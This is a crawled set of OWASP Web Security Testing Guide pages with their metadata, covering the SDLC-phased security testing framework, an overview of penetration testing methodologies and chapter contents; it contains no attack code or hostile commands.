`https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server`. Note: the `v42` element refers to version 4.2.\n\n## Feedback and Comments\n\nAs with all OWASP projects, we welcome feedback and contributions. If you discover an error, a gap in coverage, an outdated reference, or a technique that should be added or revised, please open an issue or submit a pull request on the [WSTG GitHub repository](https://github.com/OWASP/wstg). This guide is living documentation maintained by the community, and your input helps keep it accurate and relevant. We especially value real-world reports of tests that work and tests that don’t, so that the guide remains practical for practitioners.\n\nThe Web Security Testing Guide is one part of a wider set of OWASP projects that support building and testing secure applications:\n\n- [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) : A catalog of functional security requirements that provides the “what to test” baseline. ASVS v5.0 (released May 2025) includes modern cloud-native architectures and clearer control definitions.\n- [OWASP Top 10 (2025)](https://owasp.org/Top10/2025/) and [OWASP API Security Top 10 (2023)](https://owasp.org/www-project-api-security/) : Consensus rankings of the most critical security risks for web applications and APIs. These help prioritize testing focus.\n- [OWASP Top 10 for Large Language Model Applications](https://genai.owasp.org/initiatives/top-10-for-llm-and-genai/) and [OWASP AI Testing Guide](https://owasp.org/www-project-ai-testing-guide/) : Specialized guidance for testing AI and LLM-powered applications, including prompt injection, hallucination, and model poisoning risks.\n- [OWASP AI Exchange](https://owaspai.org/) : A community-driven knowledge base and framework for understanding and managing AI security risks, including AI governance, risk assessments, and AI-specific threat models.\n- [OWASP Mobile Application Security (MASVS/MASTG)](https://owasp.org/www-project-mobile-app-security/) : Security verification standard and testing guide for iOS and Android applications.\n- [OWASP Open Common Requirements Enumeration (OpenCRE)](https://www.opencre.org/) : A reference mapping framework that links security requirements, testing methods, and controls across multiple standards and frameworks (ASVS, NIST, ISO, CWE, etc.), helping contextualize WSTG guidance within the broader security landscape.\n- [OWASP Software Assurance Maturity Model (SAMM)](https://owaspsamm.org/model/) : Framework for assessing and improving an organization’s application security practices across the full SDLC.\n- [OWASP Threat Dragon](https://owasp.org/www-project-threat-dragon/) and [Pythonic Threat Modeling (pytm)](https://owasp.org/www-project-pytm/) : Tools and methodologies for building and documenting threat models.\n- [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/) : Concise, authoritative guidance on specific security topics (e.g., authentication, cryptography, API security) with code examples and best practices.\n\n## References\n\n- [IBM Cost of a Data Breach Report 2026](https://www.ibm.com/reports/data-breach)\n- [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)\n- [NIST Risk Management Framework (RMF)](https://csrc.nist.gov/projects/risk-management/)\n- [Common Vulnerability Scoring System (CVSS) v3.1](https://www.first.org/cvss/)\n- [OWASP Testing Guide Checklists](https://github.com/OWASP/wstg/tree/master/checklists)\n\nFor a comprehensive list of suggested reading, tools, and historical context, see Appendices A, B, and E.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 15132, "slov": 2010, "odkazu": 218, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:45", "sha256": "f30a86440a42740f9ea07a20b788ec9ad2c7366b25e3ef7b9272a884e138ab53", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://csrc.nist.gov/projects/risk-management/", "https://cheatsheetseries.owasp.org/", "https://genai.owasp.org/initiatives/top-10-for-llm-and-genai/", "https://www.ibm.com/reports/data-breach", "https://github.com/OWASP/wstg", "https://owaspai.org/", "https://www.opencre.org/", "https://owaspsamm.org/model/", "https://www.nist.gov/cyberframework", "https://www.first.org/cvss/", "https://github.com/OWASP/wstg/tree/master/checklists", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "3-The OWASP Testing Framework"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "The OWASP Testing Framework"}], "markdown": "# WSTG - Latest\n\n# The OWASP Testing Framework\n\n3.1 [The Web Security Testing Framework](/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework)\n\n3.2 [Phase 1 Before Development Begins](/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#phase-1-before-development-begins)\n\n3.3 [Phase 2 During Definition and Design](/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#phase-2-during-definition-and-design)\n\n3.4 [Phase 3 During Development](/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#phase-3-during-development)\n\n3.5 [Phase 4 During Deployment](/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#phase-4-during-deployment)\n\n3.6 [Phase 5 During Maintenance and Operations](/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#phase-5-during-maintenance-and-operations)\n\n3.7 [A Typical SDLC Testing Workflow](/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#a-typical-sdlc-testing-workflow)\n\n3.8 [Penetration Testing Methodologies](/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1564, "slov": 140, "odkazu": 199, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:36", "sha256": "d53e8f0b7d645f6f386e196b1f86946baa3d3f502bad6e399dfc4fe0abb85084", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "3-The OWASP Testing Framework"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "The Web Security Testing Framework"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Phase 1 Before Development Begins"}, {"uroven": 3, "text": "Phase 1.1 Define a SDLC"}, {"uroven": 3, "text": "Phase 1.2 Review Policies and Standards"}, {"uroven": 3, "text": "Phase 1.3 Develop Measurement and Metrics Criteria and Ensure Traceability"}, {"uroven": 2, "text": "Phase 2 During Definition and Design"}, {"uroven": 3, "text": "Phase 2.1 Review Security Requirements"}, {"uroven": 3, "text": "Phase 2.2 Review Design and Architecture"}, {"uroven": 3, "text": "Phase 2.3 Create and Review UML Models"}, {"uroven": 3, "text": "Phase 2.4 Create and Review Threat Models"}, {"uroven": 2, "text": "Phase 3 During Development"}, {"uroven": 3, "text": "Phase 3.1 Code Walkthrough"}, {"uroven": 3, "text": "Phase 3.2 Code Reviews"}, {"uroven": 2, "text": "Phase 4 During Deployment"}, {"uroven": 3, "text": "Phase 4.1 Application Penetration Testing"}, {"uroven": 3, "text": "Phase 4.2 Configuration Management Testing"}, {"uroven": 2, "text": "Phase 5 During Maintenance and Operations"}, {"uroven": 3, "text": "Phase 5.1 Conduct Operational Management Reviews"}, {"uroven": 3, "text": "Phase 5.2 Conduct Periodic Health Checks"}, {"uroven": 3, "text": "Phase 5.3 Ensure Change Verification"}, {"uroven": 2, "text": "A Typical SDLC Testing Workflow"}], "markdown": "# WSTG - Latest\n\n# The Web Security Testing Framework\n\n## Overview\n\nThis section describes a typical testing framework that can be developed within an organization. It can be seen as a reference framework comprised of techniques and tasks that are appropriate at various phases of the software development life cycle (SDLC). Companies and project teams can use this model to develop their own testing framework, and to scope testing services from vendors. This framework should not be seen as prescriptive, but as a flexible approach that can be extended and molded to fit an organization’s development process and culture.\n\nThis section aims to help organizations build a complete strategic testing process, and is not aimed at consultants or contractors who tend to be engaged in more tactical, specific areas of testing.\n\nIt is critical to understand why building an end-to-end testing framework is crucial to assessing and improving software security. In *Writing Secure Code*, Howard and LeBlanc note that issuing a security bulletin costs Microsoft at least $100,000, and it costs their customers collectively far more than that to implement the security patches. They also note that the US government’s [CyberCrime web site](https://www.justice.gov/criminal-ccips) details recent criminal cases and the loss to organizations. Typical losses far exceed USD $100,000.\n\nWith economics like this, it is little wonder why software vendors move from solely performing black-box security testing, which can only be performed on applications that have already been developed, to concentrating on testing in the early cycles of application development, such as during definition, design, and development.\n\nMany security practitioners still see security testing in the realm of penetration testing. As discussed in the previous chapter, while penetration testing has a role to play, it is generally inefficient at finding bugs and relies excessively on the skill of the tester. It should only be considered as an implementation technique, or to raise awareness of production issues. To improve the security of applications, the security quality of the software must be improved. That means testing security during the definition, design, development, deployment, and maintenance stages, and not relying on the costly strategy of waiting until code is completely built.\n\nAs discussed in the introduction of this document, there are many development methodologies, such as the Rational Unified Process, eXtreme and Agile development, and traditional waterfall methodologies. The intent of this guide is to suggest neither a particular development methodology, nor provide specific guidance that adheres to any particular methodology. Instead, we are presenting a generic development model, and the reader should follow it according to their company process.\n\nThis testing framework consists of activities that should take place:\n\n- Before development begins,\n- During definition and design,\n- During development,\n- During deployment, and\n- During maintenance and operations.\n\n## Phase 1 Before Development Begins\n\n### Phase 1.1 Define a SDLC\n\nBefore application development starts, an adequate SDLC must be defined where security is inherent at each stage.\n\n### Phase 1.2 Review Policies and Standards\n\nEnsure that there are appropriate policies, standards, and documentation in place. Documentation is extremely important as it gives development teams guidelines and policies that they can follow. People can only do the right thing if they know what the right thing is.\n\nIf the application is to be developed in Java, it is essential that there is a Java secure coding standard. If the application is to use cryptography, it is essential that there is a cryptography standard. No policies or standards can cover every situation that the development team will face. By documenting the common and predictable issues, there will be fewer decisions that need to be made during the development process.\n\n### Phase 1.3 Develop Measurement and Metrics Criteria and Ensure Traceability\n\nBefore development begins, plan the measurement program. By defining criteria that need to be measured, it provides visibility into defects in both the process and product. It is essential to define the metrics before development begins, as there may be a need to modify the process in order to capture the data.\n\n## Phase 2 During Definition and Design\n\n### Phase 2.1 Review Security Requirements\n\nSecurity requirements define how an application works from a security perspective. It is essential that the security requirements are tested. Testing in this case means testing the assumptions that are made in the requirements and testing to see if there are gaps in the requirements definitions.\n\nFor example, if there is a security requirement that states that users must be registered before they can get access to the whitepapers section of a website, does this mean that the user must be registered with the system or should the user be authenticated? Ensure that requirements are as unambiguous as possible.\n\nWhen looking for requirements gaps, consider looking at security mechanisms such as:\n\n- User management\n- Authentication\n- Authorization\n- Data confidentiality\n- Integrity\n- Accountability\n- Session management\n- Transport security\n- Tiered system segregation\n- Legislative and standards compliance (including privacy, government, and industry standards)\n\n### Phase 2.2 Review Design and Architecture\n\nApplications should have a documented design and architecture. This documentation can include models, textual documents, and other similar artifacts. It is essential to test these artifacts to ensure that the design and architecture enforce the appropriate level of security as defined in the requirements.\n\nIdentifying security flaws in the design phase is not only one of the most cost-efficient places to identify flaws, but can be one of the most effective places to make changes. For example, if it is identified that the design calls for authorization decisions to be made in multiple places, it may be appropriate to consider a central authorization component. If the application is performing data validation at multiple places, it may be appropriate to develop a central validation framework (i.e. fixing input validation in one place, rather than in hundreds of places, is far cheaper).\n\nIf weaknesses are discovered, they should be given to the system architect for alternative approaches.\n\n### Phase 2.3 Create and Review UML Models\n\nOnce the design and architecture is complete, build Unified Modeling Language (UML) models that describe how the application works. In some cases, these may already be available. Use these models to confirm with the systems designers an exact understanding of how the application works. If weaknesses are discovered, they should be given to the system architect for alternative approaches.\n\n### Phase 2.4 Create and Review Threat Models\n\nArmed with design and architecture reviews and the UML models explaining exactly how the system works, undertake a threat modeling exercise. Develop realistic threat scenarios. Analyze the design and architecture to ensure that these threats have been mitigated, accepted by the business, or assigned to a third party, such as an insurance firm. When identified threats have no mitigation strategies, revisit the design and architecture with the systems architect to modify the design.\n\n## Phase 3 During Development\n\nTheoretically, development is the implementation of a design. However, in the real world, many design decisions are made during code development. These are often smaller decisions that were either too detailed to be described in the design, or issues where no policy or standard guidance was offered. If the design and architecture were not adequate, the developer will be faced with many decisions. If there were insufficient policies and standards, the developer will be faced with even more decisions.\n\n### Phase 3.1 Code Walkthrough\n\nThe security team should perform a code walkthrough with the developers, and in some cases, the system architects. A code walkthrough is a high-level look at the code during which the developers can explain the logic and flow of the implemented code. It allows the code review team to obtain a general understanding of the code, and allows the developers to explain why certain things were developed the way they were.\n\nThe purpose is not to perform a code review, but to understand at a high level the flow, the layout, and the structure of the code that makes up the application.\n\n### Phase 3.2 Code Reviews\n\nArmed with a good understanding of how the code is structured and why certain things were coded the way they were, the tester can now examine the actual code for security defects.\n\nStatic code reviews validate the code against a set of checklists, including:\n\n- Business requirements for availability, confidentiality, and integrity;\n- OWASP Guide or Top 10 Checklists for technical exposures (depending on the depth of the review);\n- Specific issues relating to the language or framework in use, such as the [PHP Configuration Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/PHP_Configuration_Cheat_Sheet.html) or [Secure Coding Guidelines for .NET](https://learn.microsoft.com/en-us/dotnet/standard/security/secure-coding-guidelines) ; and\n- Any industry-specific requirements, such as Sarbanes-Oxley 404, COPPA, ISO/IEC 27002, APRA, HIPAA, Visa Merchant guidelines, or other regulatory regimes.\n\nIn terms of return on resources invested (mostly time), static code reviews produce far higher quality returns than any other security review method and rely least on the skill of the reviewer. However, they are not a silver bullet and need to be considered carefully within a full-spectrum testing regime.\n\nFor more details on OWASP checklists, please refer to the latest edition of the [OWASP Top 10](https://owasp.org/www-project-top-ten/).\n\n## Phase 4 During Deployment\n\n### Phase 4.1 Application Penetration Testing\n\nHaving tested the requirements, analyzed the design, and performed code review, it might be assumed that all issues have been caught. Hopefully this is the case, but penetration testing the application after it has been deployed provides an additional check to ensure that nothing has been missed.\n\n### Phase 4.2 Configuration Management Testing\n\nThe application penetration test should include an examination of how the infrastructure was deployed and secured. It is important to review configuration aspects, no matter how small, to ensure that none are left at a default setting that may be vulnerable to exploitation.\n\n## Phase 5 During Maintenance and Operations\n\n### Phase 5.1 Conduct Operational Management Reviews\n\nThere needs to be a process in place which details how the operational side of both the application and infrastructure is managed.\n\n### Phase 5.2 Conduct Periodic Health Checks\n\nMonthly or quarterly health checks should be performed on both the application and infrastructure to ensure no new security risks have been introduced and that the level of security is still intact.\n\n### Phase 5.3 Ensure Change Verification\n\nAfter every change has been approved and tested in the QA environment and deployed into the production environment, it is vital that the change is checked to ensure that the level of security has not been affected by the change. This should be integrated into the change management process.\n\n## A Typical SDLC Testing Workflow\n\nThe following figure shows a typical SDLC Testing Workflow.\n\n*Figure 3-1: Typical SDLC testing workflow*\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11603, "slov": 1751, "odkazu": 203, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:46", "sha256": "d24f9a0115933b29229ab1906fe83e2e12ac3a98e3255dee811eab9832ee3a7f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.justice.gov/criminal-ccips", "https://cheatsheetseries.owasp.org/cheatsheets/PHP_Configuration_Cheat_Sheet.html", "https://learn.microsoft.com/en-us/dotnet/standard/security/secure-coding-guidelines", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "3-The OWASP Testing Framework"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Penetration Testing Methodologies"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "OWASP Testing Guides"}, {"uroven": 2, "text": "Penetration Testing Execution Standard"}, {"uroven": 2, "text": "PCI Penetration Testing Guide"}, {"uroven": 3, "text": "PCI DSS Penetration Testing Guidance"}, {"uroven": 3, "text": "PCI DSS Penetration Testing Requirements"}, {"uroven": 2, "text": "Penetration Testing Framework"}, {"uroven": 2, "text": "Technical Guide to Information Security Testing and Assessment"}, {"uroven": 2, "text": "Open Source Security Testing Methodology Manual"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Penetration Testing Methodologies\n\n## Summary\n\n- OWASP Testing Guides\n - Web Security Testing Guide (WSTG)\n - Mobile Security Testing Guide (MSTG)\n - Firmware Security Testing Methodology\n- Penetration Testing Execution Standard\n- PCI Penetration Testing Guide\n - PCI DSS Penetration Testing Guidance\n - PCI DSS Penetration Testing Requirements\n- Penetration Testing Framework\n- Technical Guide to Information Security Testing and Assessment\n- Open Source Security Testing Methodology Manual\n- References\n\n## OWASP Testing Guides\n\nIn terms of technical security testing execution, the OWASP testing guides are highly recommended. Depending on the types of the applications, the testing guides are listed below for the web/cloud services, Mobile app (Android/iOS), or IoT firmware respectively.\n\n- [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)\n- [OWASP Mobile Security Testing Guide](https://owasp.org/www-project-mobile-security-testing-guide/)\n- [OWASP Firmware Security Testing Methodology](https://github.com/scriptingxss/owasp-fstm)\n\n## Penetration Testing Execution Standard\n\nPenetration Testing Execution Standard (PTES) defines penetration testing as 7 phases. Particularly, PTES Technical Guidelines give hands-on suggestions on testing procedures, and recommendation for security testing tools.\n\n- Pre-engagement Interactions\n- Intelligence Gathering\n- Threat Modeling\n- Vulnerability Analysis\n- Exploitation\n- Post Exploitation\n- Reporting\n\n[PTES Technical Guidelines](http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines)\n\n## PCI Penetration Testing Guide\n\nPayment Card Industry Data Security Standard (PCI DSS) Requirement 11.3 defines the penetration testing. PCI also defines Penetration Testing Guidance.\n\n### PCI DSS Penetration Testing Guidance\n\nThe PCI DSS Penetration testing guideline provides guidance on the following:\n\n- Penetration Testing Components\n- Qualifications of a Penetration Tester\n- Penetration Testing Methodologies\n- Penetration Testing Reporting Guidelines\n\n### PCI DSS Penetration Testing Requirements\n\nThe PCI DSS requirement refer to Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3\n\n- Based on industry-accepted approaches\n- Coverage for CDE and critical systems\n- Includes external and internal testing\n- Test to validate scope reduction\n- Application-layer testing\n- Network-layer tests for network and OS\n\n[PCI DSS Penetration Test Guidance](https://www.pcisecuritystandards.org/documents/Penetration-Testing-Guidance-v1_1.pdf)\n\n## Penetration Testing Framework\n\nThe Penetration Testing Framework (PTF) provides comprehensive hands-on penetration testing guide. It also lists usages of the security testing tools in each testing category. The major area of penetration testing includes:\n\n- Network Footprinting (Reconnaissance)\n- Discovery & Probing\n- Enumeration\n- Password cracking\n- Vulnerability Assessment\n- AS/400 Auditing\n- Bluetooth Specific Testing\n- Cisco Specific Testing\n- Citrix Specific Testing\n- Network Backbone\n- Server Specific Tests\n- VoIP Security\n- Wireless Penetration\n- Physical Security\n- Final Report - template\n\n[Penetration Testing Framework](https://web.archive.org/web/20130925044437/http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html)\n\n## Technical Guide to Information Security Testing and Assessment\n\nTechnical Guide to Information Security Testing and Assessment (NIST 800-115) was published by NIST, it includes some assessment techniques listed below.\n\n- Review Techniques\n- Target Identification and Analysis Techniques\n- Target Vulnerability Validation Techniques\n- Security Assessment Planning\n- Security Assessment Execution\n- Post-Testing Activities\n\nFor further details see: [NIST 800-115](https://csrc.nist.gov/publications/detail/sp/800-115/final).\n\n## Open Source Security Testing Methodology Manual\n\nThe Open Source Security Testing Methodology Manual (OSSTMM) is a methodology to test the operational security of physical locations, workflow, human security testing, physical security testing, wireless security testing, telecommunication security testing, data networks security testing and compliance. OSSTMM can be supporting reference of ISO 27001 instead of a hands-on or technical application penetration testing guide.\n\nOSSTMM includes the following key sections:\n\n- Security Analysis\n- Operational Security Metrics\n- Trust Analysis\n- Work Flow\n- Human Security Testing\n- Physical Security Testing\n- Wireless Security Testing\n- Telecommunications Security Testing\n- Data Networks Security Testing\n- Compliance Regulations\n- Reporting with the STAR (Security Test Audit Report)\n\n[Open Source Security Testing Methodology Manual](https://www.isecom.org/OSSTMM.3.pdf)\n\n## References\n\n- [PCI Data Security Standard - Penetration Testing Guidance](https://www.pcisecuritystandards.org/documents/Penetration-Testing-Guidance-v1_1.pdf)\n- [PTES Standard](http://www.pentest-standard.org/index.php/Main_Page)\n- [Open Source Security Testing Methodology Manual (OSSTMM)](https://www.isecom.org/research.html#content5-9d)\n- [Technical Guide to Information Security Testing and Assessment NIST SP 800-115](https://csrc.nist.gov/publications/detail/sp/800-115/final)\n- [HIPAA Security Testing Guidance](https://www.hhs.gov/hipaa/for-professionals/security/guidance/cybersecurity/index.html)\n- [Penetration Testing Framework 0.59 (Archived)](https://web.archive.org/web/20130925044437/http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html)\n- [OWASP Mobile Security Testing Guide](https://owasp.org/www-project-mobile-security-testing-guide/)\n- [Kali Linux](https://www.kali.org/)\n- [Information Supplement: Requirement 11.3 Penetration Testing](https://www.pcisecuritystandards.org/pdfs/infosupp_11_3_penetration_testing.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5788, "slov": 598, "odkazu": 221, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:47", "sha256": "edc5da827960c3df1c8cf0764e4938c06fc40e8a7baee7ab32ecd837fe5fdfcc", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/scriptingxss/owasp-fstm", "http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines", "https://www.pcisecuritystandards.org/documents/Penetration-Testing-Guidance-v1_1.pdf", "http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html", "https://csrc.nist.gov/publications/detail/sp/800-115/final", "https://www.isecom.org/OSSTMM.3.pdf", "http://www.pentest-standard.org/index.php/Main_Page", "https://www.isecom.org/research.html", "https://www.hhs.gov/hipaa/for-professionals/security/guidance/cybersecurity/index.html", "https://www.kali.org/", "https://www.pcisecuritystandards.org/pdfs/infosupp_11_3_penetration_testing.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Web Application Security Testing"}], "markdown": "# WSTG - Latest\n\n# Web Application Security Testing\n\n4.0 [Introduction and Objectives](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/00-Introduction_and_Objectives/README)\n\n4.1 [Information Gathering](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/README)\n\n4.2 [Configuration and Deployment Management](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/README)\n\n4.3 [Identity Management](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/README)\n\n4.4 [Authentication](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/README)\n\n4.5 [Authorization](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/README)\n\n4.6 [Session Management](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/README)\n\n4.7 [Injection](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/README)\n\n4.8 [Error Handling](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Error_Handling/README)\n\n4.9 [Weak Cryptography](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Weak_Cryptography/README)\n\n4.10 [Business Logic](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic/README)\n\n4.11 [Client-side](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/README)\n\n4.12 [API Testing](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/12-API_Testing/README)\n\n4.13 [WebAssembly Testing](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/13-WebAssembly_Testing/README)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2047, "slov": 149, "odkazu": 199, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:37", "sha256": "15366338f63ca157e4b1b8cad428aa8eb59f1fd6b65834e817215d1b1ed3dcb7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} 